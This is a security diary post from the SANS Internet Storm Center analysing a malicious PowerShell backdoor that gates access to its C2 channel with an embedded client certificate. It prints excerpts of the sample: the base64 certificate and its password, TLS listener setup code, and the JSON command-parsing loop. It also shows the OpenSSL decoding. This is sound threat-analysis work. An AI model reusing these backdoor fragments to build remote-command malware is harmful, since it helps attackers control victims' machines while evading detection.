My next class:

Malicious PowerShell Using Client Certificate Authentication

Published: 2021-10-18. Last Updated: 2021-10-18 10:24:47 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

Attackers have many ways to protect their C2 servers from unwanted connections. They can check some specific headers, the user-agent, the IP address location (GeoIP), etc. I spotted an interesting PowerShell sample that implements a client certificate authentication mechanism to access its C2 server. It's VT score is 9/56[1] (SHA256:6d3f45db0a991572a7ac8077e2fd8eec29aad99e7efa6cea5e54186ac1abc488).

The certification is Base64 encoded and protected by the password 'password' (no comment):

$ztgMbBRW99 = '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
='
$QneQGddx99 = 'password'

The implementation is done via System.Security.Cryptography.X509Certificates.X509Certificate2:

$uSrbSrVp99 = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($ztgMbBRW99), $QneQGddx99)
$UAEeAVGa99 = [System.Net.Sockets.TcpListener][int]$port
$UAEeAVGa99.start()
$dGIDFjCR99 = $UAEeAVGa99.AcceptTcpClient()
$pIPCBjOz99 = New-Object System.Net.Security.SslStream $dGIDFjCR99.GetStream(), $false, ({$True} -as [Net.Security.RemoteCertificateValidationCallback])
$pIPCBjOz99.AuthenticateAsServer($uSrbSrVp99, $false, [System.Security.Authentication.SslProtocols]::Tls, $false)

The class x509Certificate2 expects a certificate in PFX or PKCS12 format. Let's try to decode the one present in the script using OpenSSL:

$ openssl pkcs12 -in payload.cert
Enter Import Password:
MAC verified OK
Bag Attributes
    localKeyID: FB 69 28 8A 7B F7 EB C0 B7 7A EC AE 0A 17 64 A0 A4 17 94 9E
subject=/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com
issuer=/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com
-----BEGIN CERTIFICATE-----
MIIDNDCCAhwCCQCW9ShBEcQuFTANBgkqhkiG9w0BAQsFADBcMQswCQYDVQQGEwJV
UzEPMA0GA1UECAwGRGVuaWFsMRQwEgYDVQQHDAtTcHJpbmdmaWVsZDEMMAoGA1UE
CgwDRGlzMRgwFgYDVQQDDA93d3cuZXhhbXBsZS5jb20wHhcNMTYwODAyMDczODM3
WhcNMTcwODAyMDczODM3WjBcMQswCQYDVQQGEwJVUzEPMA0GA1UECAwGRGVuaWFs
MRQwEgYDVQQHDAtTcHJpbmdmaWVsZDEMMAoGA1UECgwDRGlzMRgwFgYDVQQDDA93
d3cuZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJ
c9dMuojBRCSFR3sRofKng2l9jScY/FqdNbkFJcelsa9qqef3LSuCRA082ObKf3sZ
OQZgrUocPN0uiV3T14cZjJwFMQDKfWf7hMEV2jFeQQs7bqTEdAPY2D3rtOQXo2w8
JXamXBqXuVP0UnSvhftetHzAfbQ5VZQoH4hmthbFJXehsgNIQpvCW7VFU6+a2npQ
33vVEv0AiGxxXCcJRwKsc2hvg49rPhWETChFr5FhLOS5BIjag5jcLG5BCROYR6wk
NsvWvhQd3lnz3Al4tdvUKoCgls+tT467TfGH2mBm3vZpDzOt0GT8qF0tmSERZbsc
czBfTfjmikOtnYw7VKTtAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAJX83wuyTekt
dUA3C2iucf2PkzlUYhG9xTyoF9hJmI+e9U4NW+Xc8RuRTStiBegRkjCRaTC/A4KC
UaeafFzdiEy9QNkU6VFA9ASyQvIqkxoCUHPTfD0gymUtElDjM5yeeBgCO4Jb1oLV
2cGpGR6vgZ/1VcEjR7VpyGuhafFTZQJax0zuKcinh3aKlDYEBg/FUAM6e2sQYPae
PElSefgqariBUB6MJbjJQacCKmyHCw3+JHtM+1vdRhBuhwAbrqnfoWtDNik8ZG3T
9o7Eu+/II7noRQFKYOB/OszM2eVxSg6xpoguuHU1HMmm5MmFhziAKbyUy0XJhOVm
eXfyG6jQE5I=
-----END CERTIFICATE-----

Once the connection is established, the script enters an infinite loop and waits for commands. Data is delivered via JSON objects:

try {
    $type = ($veAsxeZF99 | ConvertFrom-Json).type
    $zxrTrFRw99 = ($veAsxeZF99 | ConvertFrom-Json).data
    $EBZtfXQJ99 = ($veAsxeZF99 | ConvertFrom-Json).sendoutput
    $ucyYeLLE99 = ($veAsxeZF99 | ConvertFrom-Json).multiple
    $data = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($zxrTrFRw99))
    $extra = ($veAsxeZF99 | ConvertFrom-Json).extra
} catch {
    continue
}

The received payload in $data is executed and the output is sent back to the C2.

The fact that the certificate is stored in the script makes the debugging easy but this technique can indeed defeat simple scanners or automated checks!

[1] https://www.virustotal.com/gui/file/6d3f45db0a991572a7ac8077e2fd8eec29aad99e7efa6cea5e54186ac1abc488
[2] https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.x509certificates.x509certificate2?view=net-5.0

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

1 comment(s)
My next class:

Comments

Interesting! Thank you, Xavier!

Diary Archives